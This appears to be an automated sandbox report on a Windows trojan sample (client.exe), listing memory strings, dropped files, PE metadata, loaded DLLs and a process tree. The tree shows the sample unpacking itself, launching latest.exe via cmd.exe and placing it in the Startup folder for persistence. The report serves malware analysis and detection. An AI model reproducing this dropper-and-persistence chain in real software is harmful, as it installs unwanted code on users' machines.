Source: latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_79.htm
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_83.htm
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_86.htm
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pjreddie.com/darknet/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pjreddie.com/darknet/)
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pracrand.sourceforge.net/RNG_engines.txt
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://requests.readthedocs.io
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://requests.readthedocs.ioa__url__u2.32.3a__version__l
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://software.intel.com/openvino-toolkit)
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stat.ethz.ch/~stahel/lognormal/bioscience.pdf
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.aminer.org/pdf/PDF/000/317/196/spatio_temporal_wiener_filtering_of_image_sequences_us
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://streams.videolan.org/upload/
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7540#section-11.4
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7540#section-5.3
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7541#section-7.1.3
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7838
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://twitter.com/
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxya__cause__u
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#socks-proxies
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#socks-proxiesatypingasocketT
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsaInsecureRequestWarningu
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.archive.org/web/20090423014010/http://www.brighton-webs.co.uk:80/distributions/wald.asp
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.archive.org/web/20090514091424/http://brighton-webs.co.uk:80/distributions/rayleigh.asp
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cs.hmc.edu/tr/hmc-cs-2014-0905.pdf
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.ibm.com/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.inference.org.uk/mackay/itila/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.itl.nist.gov/div898/handbook/eda/section3/eda3663.htm
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.itl.nist.gov/div898/handbook/eda/section3/eda3666.htm
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.itl.nist.gov/div898/software/dataplot/refman2/auxillar/powpdf.pdf
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.learnopencv.com/convex-hull-using-opencv-in-python-and-c/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.learnopencv.com/convex-hull-using-opencv-in-python-and-c/filterLabelresultRoimaxClockFre
Source: client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDAFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pcg-random.org/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pcg-random.org/posts/developing-a-seed_seq-alternative.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pcg-random.org/posts/random-invertible-mapping-statistics.html
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.pyopenssl.org
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp, all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: client.exe, 00000000.00000003.1676240467.00000213EDFDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: client.exe, 00000000.00000003.1676240467.00000213EDFDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tensorflow.org/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tensorflow.org/)
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tensorflow.org/lite
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp, all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_brotli.pyd 788ACBFD0EDD6CA3EF3E97A9487EEAEA86515642C71CB11BBCF25721E6573EC8

Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.11.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.11.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: opencv_videoio_ffmpeg4100_64.dll.12.dr	Static PE information: Number of sections : 13 > 10
Source: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll.11.dr	Static PE information: Number of sections : 11 > 10
Source: opencv_videoio_ffmpeg4100_64.dll.11.dr	Static PE information: Number of sections : 13 > 10
Source: cv2.pyd.11.dr	Static PE information: Number of sections : 11 > 10
Source: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll.12.dr	Static PE information: Number of sections : 11 > 10

Source: python3.dll.12.dr	Static PE information: No import functions for PE file found
Source: python3.dll.0.dr	Static PE information: No import functions for PE file found
Source: python3.dll.11.dr	Static PE information: No import functions for PE file found

Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213EE266000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython312.dll. vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213EE266000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs client.exe
Source: client.exe, 00000000.00000003.1676240467.00000213EDAFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs client.exe

Source: classification engine

Classification label: mal80.troj.adwa.winEXE@14/163@0/1

Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6168:120:WilError_03

Source: C:\Users\user\Desktop\client.exe

File created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628

Jump to behavior

Source: client.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\client.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: client.exe	ReversingLabs: Detection: 55%
Source: client.exe	Virustotal: Detection: 70%

Source: unknown	Process created: C:\Users\user\Desktop\client.exe "C:\Users\user\Desktop\client.exe"
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe C:\Users\user\Desktop\client.exe
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "latest.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\latest.exe latest.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"
Source: C:\Users\user\Desktop\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe C:\Users\user\Desktop\latest.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"
Source: C:\Users\user\Desktop\client.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe C:\Users\user\Desktop\client.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "latest.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\latest.exe latest.exe	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe C:\Users\user\Desktop\latest.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"	Jump to behavior

Source: C:\Users\user\Desktop\client.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\client.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Section loaded: python312.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: python312.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\all.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: python312.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: client.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: client.exe

Static file information: File size 11687936 > 1048576

Source: client.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xaf5200

Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: client.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: client.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: client.exe, 00000000.00000003.1676240467.00000213EDFDD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: client.exe, 00000000.00000003.1676240467.00000213EDA5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdbc source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp
